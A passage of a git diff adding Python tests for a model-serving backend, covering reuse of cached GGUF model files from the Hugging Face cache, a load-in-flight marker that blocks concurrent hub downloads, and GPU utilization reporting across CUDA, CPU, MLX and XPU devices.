+    for rel, size in files.items():
+        full = snap / rel
+        full.parent.mkdir(parents = True, exist_ok = True)
+        full.write_bytes(b"\0" * size)
+    return snap
+
+
+@pytest.fixture
+def hf_cache(tmp_path, monkeypatch):
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    return tmp_path
+
+
+def _fail_download(*_args, **_kwargs):
+    raise AssertionError("must reuse the cached GGUF instead of downloading")
+
+
+def _fail_get_paths_info(*_args, **_kwargs):
+    raise AssertionError("cached reuse must return before the sizing preflight")
+
+
+class TestLoadReusesCachedCopy:
+    def test_online_reuse_after_revision_bump(self, hf_cache):
+        """A new repo revision does not replace a complete cached model."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+
+    def test_reuse_size_check_uses_cached_snapshot_revision(self, hf_cache):
+        """Current-revision size changes do not invalidate an older complete copy."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        revisions: list[str | None] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            revisions.append(revision)
+            size = 4 if revision == snap.name else 8
+            return [_types.SimpleNamespace(path = path, size = size) for path in paths]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+        assert revisions == [snap.name]
+
+    def test_reuse_when_cached_revision_vanished_from_hub(self, hf_cache):
+        """The Hub answers an unknown revision with an empty result, not an error."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", lambda *_a, **_k: []),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / MAIN)
+
+    def test_truncated_cached_file_is_not_reused(self, hf_cache):
+        backend = LlamaCppBackend()
+        _build_cache(hf_cache, REPO, {MAIN: 4})
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 8) for path in paths]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_truncated_cached_split_shard_is_not_reused(self, hf_cache):
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 8, shard2: 4})
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 8) for path in paths]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [shard1, shard2]
+        assert out == f"/fake/{REPO}/{shard1}"
+
+    def test_online_reuse_when_reupload_renamed_the_file(self, hf_cache):
+        """A renamed variant still reuses its cached file."""
+        backend = LlamaCppBackend()
+        old_name = f"gemma-test-old-{VARIANT}.gguf"
+        snap = _build_cache(hf_cache, REPO, {old_name: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / old_name)
+
+    def test_downloads_when_nothing_cached(self, hf_cache):
+        backend = LlamaCppBackend()
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_force_redownloads_despite_cache(self, hf_cache):
+        """A forced download ignores a complete cached copy."""
+        backend = LlamaCppBackend()
+        _build_cache(hf_cache, REPO, {MAIN: 4})
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **kwargs,
+        ):
+            assert kwargs.get("force_download") is True
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 1) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT, force = True)
+
+        assert downloaded == [MAIN]
+        assert out == f"/fake/{REPO}/{MAIN}"
+
+    def test_split_reused_only_when_colocated(self, hf_cache):
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        snap = _build_cache(hf_cache, REPO, {shard1: 4, shard2: 4})
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / shard1)
+
+    def test_partial_split_set_downloads(self, hf_cache):
+        """A partial split set is not reused."""
+        backend = LlamaCppBackend()
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4})
+        downloaded: list[str] = []
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p is not None]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [shard1, shard2]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert downloaded == [shard1, shard2]
+        assert out == f"/fake/{REPO}/{shard1}"
+
+    def test_reuse_prefers_newest_snapshot_after_update(self, hf_cache):
+        """Loads prefer the newest complete snapshot."""
+        import os
+
+        backend = LlamaCppBackend()
+        old_snap = _build_cache(hf_cache, REPO, {MAIN: 4}, snapshot_sha = "a" * 40)
+        new_snap = _build_cache(hf_cache, REPO, {MAIN: 6}, snapshot_sha = "b" * 40)
+        os.utime(old_snap, (1_000_000, 1_000_000))
+        os.utime(new_snap, (2_000_000, 2_000_000))
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", _fail_get_paths_info),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(new_snap / MAIN)
+
+    def test_low_disk_fallback_reuses_cached_copy(self, hf_cache):
+        backend = LlamaCppBackend()
+        fallback = "gemma-test-Q2_K.gguf"
+        snap = _build_cache(hf_cache, REPO, {fallback: 4})
+
+        def fake_get_paths_info(
+            _repo,
+            paths,
+            *,
+            revision = None,
+            token = None,
+        ):
+            size = 4 if revision == snap.name else 100
+            return [_types.SimpleNamespace(path = path, size = size) for path in paths]
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: [MAIN]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("shutil.disk_usage", lambda *_a, **_k: _types.SimpleNamespace(free = 10)),
+            patch.object(
+                backend,
+                "_find_smallest_fitting_variant",
+                lambda *_a, **_k: (fallback, 4, []),
+            ),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / fallback)
+
+    def test_companion_prefers_main_snapshot_sibling(self, hf_cache):
+        """A cached mmproj is reused from the main model's snapshot."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4, "mmproj-F16.gguf": 2})
+
+        def _fail_list(*_args, **_kwargs):
+            raise AssertionError("snapshot sibling must resolve without a repo listing")
+
+        with patch("huggingface_hub.list_repo_files", _fail_list):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
+    def test_companion_finds_snapshot_through_hf_symlink(self, hf_cache):
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {})
+        blobs = snap.parent.parent / "blobs"
+        main_blob = blobs / "main"
+        mmproj_blob = blobs / "mmproj"
+        main_blob.write_bytes(b"main")
+        mmproj_blob.write_bytes(b"mmproj")
+        try:
+            (snap / MAIN).symlink_to(main_blob)
+            (snap / "mmproj-F16.gguf").symlink_to(mmproj_blob)
+        except OSError as exc:
+            pytest.skip(f"symlinks unavailable: {exc}")
+
+        with patch("huggingface_hub.list_repo_files", _fail_download):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
+    def test_companion_does_not_download_during_hub_job(self, hf_cache):
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        registry = _types.SimpleNamespace(active_job_refs = lambda _repo: [object()])
+
+        with (
+            patch("huggingface_hub.list_repo_files", _fail_download),
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out is None
+
+
+class TestCachedGgufForLoadProbe:
+    def test_complete_copy_found(self, hf_cache):
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) == str(snap / MAIN)
+
+    def test_absent_copy_is_none(self, hf_cache):
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_partial_split_is_none(self, hf_cache):
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_partial_new_snapshot_does_not_hide_complete_split(self, hf_cache):
+        import os
+
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        old = _build_cache(
+            hf_cache,
+            REPO,
+            {shard1: 4, shard2: 4},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(hf_cache, REPO, {shard1: 4}, snapshot_sha = "b" * 40)
+        os.utime(old, (1_000_000, 1_000_000))
+        os.utime(new, (2_000_000, 2_000_000))
+
+        assert cached_gguf_for_load(REPO, VARIANT) == str(old / shard1)
+
+    def test_split_requires_every_declared_shard(self, hf_cache):
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00003.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00003.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4, shard2: 4})
+
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_required_mmproj_must_share_main_snapshot(self, hf_cache):
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) == str(snap / MAIN)
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) is None
+
+        (snap / "mmproj-F16.gguf").write_bytes(b"mmproj")
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(snap / MAIN)
+
+    def test_required_mmproj_scans_past_newer_main_only_snapshot(self, hf_cache):
+        import os
+
+        old = _build_cache(
+            hf_cache,
+            REPO,
+            {MAIN: 4, "mmproj-F16.gguf": 2},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(hf_cache, REPO, {MAIN: 4}, snapshot_sha = "b" * 40)
+        os.utime(old, (1_000_000, 1_000_000))
+        os.utime(new, (2_000_000, 2_000_000))
+
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(old / MAIN)
+
+
+class TestLoadHubDownloadExclusion:
+    def test_in_flight_marker_counts_and_normalizes_case(self):
+        assert not hf_gguf_load_in_flight(REPO)
+        with gguf_load_in_flight(REPO):
+            assert hf_gguf_load_in_flight(REPO.upper())
+            with gguf_load_in_flight(REPO.lower()):
+                assert hf_gguf_load_in_flight(REPO)
+            assert hf_gguf_load_in_flight(REPO)
+        assert not hf_gguf_load_in_flight(REPO)
+
+    def test_marker_noops_for_local_loads(self):
+        with gguf_load_in_flight(None):
+            assert not hf_gguf_load_in_flight("")
+
+    def test_marker_cleared_on_exception(self):
+        with pytest.raises(RuntimeError):
+            with gguf_load_in_flight(REPO):
+                raise RuntimeError("boom")
+        assert not hf_gguf_load_in_flight(REPO)
+
+    def test_hub_download_refused_while_load_in_flight(self):
+        from fastapi import HTTPException
+
+        from hub.schemas.downloads import DownloadModelRequest
+        from hub.services.models import downloads as dl
+
+        body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT)
+        with (
+            patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id),
+            gguf_load_in_flight(REPO),
+        ):
+            with pytest.raises(HTTPException) as exc_info:
+                asyncio.run(dl.download_model_response(body))
+
+        assert exc_info.value.status_code == 409
+        assert "load" in exc_info.value.detail.lower()
+
+    def test_hub_download_rechecks_marker_before_claim(self):
+        from fastapi import HTTPException
+
+        from hub.schemas.downloads import DownloadModelRequest
+        from hub.services.models import downloads as dl
+
+        scope = None
+
+        def mark_load(*_args, **_kwargs):
+            nonlocal scope
+            if scope is None:
+                scope = gguf_load_in_flight(REPO)
+                scope.__enter__()
+            return frozenset()
+
+        class _Registry:
+            def claim(self, *_args, admission_check, **_kwargs):
+                assert admission_check() is False
+                return False, "admission_blocked"
+
+            def current_generation(self, _key):
+                return 0
+
+        registry = _Registry()
+        body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT)
+        try:
+            with (
+                patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id),
+                patch.object(dl.gguf_variants, "gguf_variant_blob_hashes", mark_load),
+                patch.object(dl, "_registry", registry),
+            ):
+                with pytest.raises(HTTPException) as exc_info:
+                    asyncio.run(dl.download_model_response(body))
+        finally:
+            if scope is not None:
+                scope.__exit__(None, None, None)
+
+        assert exc_info.value.status_code == 409
+
+    def test_registry_admission_check_prevents_claim(self):
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_HTTP
+
+        registry = DownloadRegistry()
+        claimed, state = registry.claim(
+            f"{REPO}::{VARIANT}",
+            TRANSPORT_HTTP,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = VARIANT,
+            admission_check = lambda: False,
+        )
+
+        assert claimed is False
+        assert state == "admission_blocked"
+        assert registry.active_jobs(REPO) == {}
+
+    def test_same_variant_job_stays_visible_during_retry_handoff(self):
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_XET
+        from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+
+        registry = DownloadRegistry()
+        key = f"{REPO}::{VARIANT}"
+        claimed, _ = registry.claim(
+            key,
+            TRANSPORT_XET,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = VARIANT,
+        )
+        assert claimed is True
+        assert registry.has_active_variant(REPO, VARIANT.lower()) is True
+
+        registry.release_active_slot(key)
+
+        assert registry.active_jobs(REPO) == {}
+        assert registry.active_job_refs(REPO)
+        assert registry.has_active_variant(REPO, VARIANT) is True
+        with (
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch(
+                "core.inference.llama_cpp.cached_gguf_for_load",
+                side_effect = AssertionError("same-variant jobs must block before cache reuse"),
+            ),
+        ):
+            assert _hub_download_blocks_gguf_load(REPO, VARIANT) is True
+
+        registry.set_job(key, "complete")
+        assert registry.has_active_variant(REPO, VARIANT) is False
+
+    def test_other_variant_job_still_allows_complete_cached_load(self):
+        from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_HTTP
+
+        registry = DownloadRegistry()
+        registry.claim(
+            f"{REPO}::Q8_0",
+            TRANSPORT_HTTP,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = "Q8_0",
+        )
+        with (
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch(
+                "core.inference.llama_cpp.cached_gguf_for_load",
+                return_value = "/cached/model.gguf",
+            ) as cached_probe,
+        ):
+            assert _hub_download_blocks_gguf_load(REPO, VARIANT) is False
+
+        cached_probe.assert_called_once_with(
+            REPO,
+            VARIANT,
+            require_mmproj = False,
+            verify_sizes = True,
+            hf_token = None,
+        )
+
+    def test_cancelled_request_keeps_marker_until_load_thread_finishes(self):
+        from core.inference.llama_cpp import _with_gguf_load_marker
+
+        started = threading.Event()
+        release = threading.Event()
+        finished = threading.Event()
+
+        class FakeBackend:
+            @_with_gguf_load_marker
+            def load_model(self, *, hf_repo):
+                started.set()
+                release.wait(timeout = 2)
+                finished.set()
+                return True
+
+        async def scenario():
+            with patch(
+                "core.inference.llama_cpp._hub_download_blocks_gguf_load",
+                return_value = False,
+            ):
+                task = asyncio.create_task(
+                    asyncio.to_thread(FakeBackend().load_model, hf_repo = REPO)
+                )
+                assert await asyncio.to_thread(started.wait, 1)
+                task.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await task
+                assert hf_gguf_load_in_flight(REPO)
+
+                release.set()
+                assert await asyncio.to_thread(finished.wait, 1)
+                for _ in range(100):
+                    if not hf_gguf_load_in_flight(REPO):
+                        break
+                    await asyncio.sleep(0.001)
+                assert not hf_gguf_load_in_flight(REPO)
+
+        asyncio.run(scenario())
+
+    def test_load_marker_precedes_hub_guard_and_unload(self):
+        source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text()
+        gguf_branch = source[source.index("if config.is_gguf:") :]
+
+        assert (
+            gguf_branch.index("enter_context(gguf_load_in_flight")
+            < gguf_branch.index("if request.llama_extra_args is None")
+            < gguf_branch.index("_hub_download_blocks_gguf_load")
+            < gguf_branch.index("unsloth_backend.unload_model")
+        )
+        llama_source = (
+            Path(__file__).resolve().parent.parent / "core" / "inference" / "llama_cpp.py"
+        ).read_text()
+        assert "@_with_gguf_load_marker\n    def load_model(" in llama_source
diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py
index d96f88e4a6..69ad560788 100644
--- a/studio/backend/tests/test_gpu_selection.py
+++ b/studio/backend/tests/test_gpu_selection.py
@@ -5,9 +5,11 @@ import asyncio
 import importlib.util
 import os
 import re
+import sys
 import unittest
+from contextlib import nullcontext
 from pathlib import Path
-from types import SimpleNamespace
+from types import ModuleType, SimpleNamespace
 from unittest.mock import patch
 
 from fastapi import HTTPException
@@ -22,6 +24,7 @@ from utils.hardware import (
     estimate_required_model_memory_gb,
     get_backend_visible_gpu_info,
     get_device_map,
+    get_gpu_utilization,
     get_offloaded_device_map_entries,
     get_parent_visible_gpu_ids,
     get_visible_gpu_utilization,
@@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module
 _BACKEND_ROOT = Path(__file__).resolve().parent.parent
 
 
+async def _inline_to_thread(func, /, *args, **kwargs):
+    return func(*args, **kwargs)
+
+
+def _fake_unsloth_attention_modules(resolver):
+    unsloth_module = ModuleType("unsloth")
+    models_module = ModuleType("unsloth.models")
+    utils_module = ModuleType("unsloth.models._utils")
+    utils_module.resolve_attention_implementation = resolver
+    models_module._utils = utils_module
+    unsloth_module.models = models_module
+    return {
+        "unsloth": unsloth_module,
+        "unsloth.models": models_module,
+        "unsloth.models._utils": utils_module,
+    }
+
+
 def _load_route_module(name: str, relative_path: str):
     spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
     module = importlib.util.module_from_spec(spec)
@@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase):
 
 
 class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase):
+    def test_gpu_utilization_preserves_primary_shape_with_devices(self):
+        devices = [
+            {
+                "index": 5,
+                "visible_ordinal": 0,
+                "gpu_utilization_pct": 11.0,
+                "temperature_c": 40.0,
+                "vram_used_gb": 4.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 16.7,
+                "power_draw_w": 80.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 26.7,
+            },
+            {
+                "index": 3,
+                "visible_ordinal": 1,
+                "gpu_utilization_pct": 22.0,
+                "temperature_c": 50.0,
+                "vram_used_gb": 8.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 33.3,
+                "power_draw_w": 120.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 40.0,
+            },
+        ]
+
+        with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
+            patch.object(_hw_module, "IS_ROCM", False),
+            patch(
+                "utils.hardware.hardware._get_parent_visible_gpu_spec",
+                return_value = {"raw": "5,3", "numeric_ids": [5, 3]},
+            ),
+            patch(
+                "utils.hardware.hardware._smi_query",
+                return_value = {
+                    "available": True,
+                    "devices": devices,
+                    "backend_cuda_visible_devices": "5,3",
+                    "parent_visible_gpu_ids": [5, 3],
+                    "index_kind": "physical",
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertIsInstance(result, dict)
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "cuda")
+        self.assertEqual(result["index"], 5)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual(result["vram_total_gb"], 24.0)
+        self.assertEqual(result["parent_visible_gpu_ids"], [5, 3])
+        self.assertEqual([device["index"] for device in result["devices"]], [5, 3])
+
+    def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self):
+        with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []})
+
+    def test_gpu_utilization_mlx_stays_available_without_agx_stats(self):
+        fake_psutil = ModuleType("psutil")
+        fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3)
+
+        with (
+            patch.dict(sys.modules, {"psutil": fake_psutil}),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX),
+            patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}),
+            patch(
+                "core.training.get_training_backend",
+                return_value = SimpleNamespace(_progress = None),
+            ),
+            patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None),
+            patch("utils.hardware.apple.read_gpu_power_w", return_value = None),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "mlx")
+        self.assertIsNone(result["gpu_utilization_pct"])
+        self.assertEqual(result["vram_used_gb"], 0)
+        self.assertEqual(result["vram_total_gb"], 64.0)
+        self.assertEqual(len(result["devices"]), 1)
+
+    def test_gpu_utilization_xpu_uses_visible_devices(self):
+        with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU),
+            patch(
+                "utils.hardware.hardware.get_visible_gpu_utilization",
+                return_value = {
+                    "available": True,
+                    "backend": "xpu",
+                    "parent_visible_gpu_ids": [2, 0],
+                    "index_kind": "physical",
+                    "devices": [
+                        {
+                            "index": 2,
+                            "visible_ordinal": 1,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 3.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 18.8,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                        {
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 1.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 6.3,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                    ],
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result["backend"], "xpu")
+        self.assertEqual(result["index"], 0)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual([device["index"] for device in result["devices"]], [0, 2])
+
     def test_visible_gpu_utilization_filters_to_parent_visible_ids(self):
         smi_output = "\n".join(
             [
@@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_get_offloaded_device_map_entries_handles_models_without_device_map(self):
         self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {})
 
+    @patch(
+        "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
+        new = lambda model_name, **_: model_name,
+    )
+    @patch(
+        "utils.hardware.hardware._load_config_for_gpu_estimate",
+        new = lambda *_args, **_kwargs: None,
+    )
     def test_estimate_required_memory_formulas(self):
         eight_gb = 8 * (1024**3)
 
@@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
 
     def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self):
         with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.resolve_requested_gpu_ids",
                 return_value = [2, 3],
@@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self):
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.estimate_required_model_memory_gb",
                 return_value = (
@@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase):
 
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "core.training.training._CTX.Queue",
                 side_effect = [dummy_queue, dummy_queue],
@@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase):
             has_audio_input = False,
         )
 
-        with patch.object(
-            inference_route.ModelConfig,
-            "from_identifier",
-            return_value = model_config,
+        with (
+            patch.object(
+                inference_route,
+                "ModelConfig",
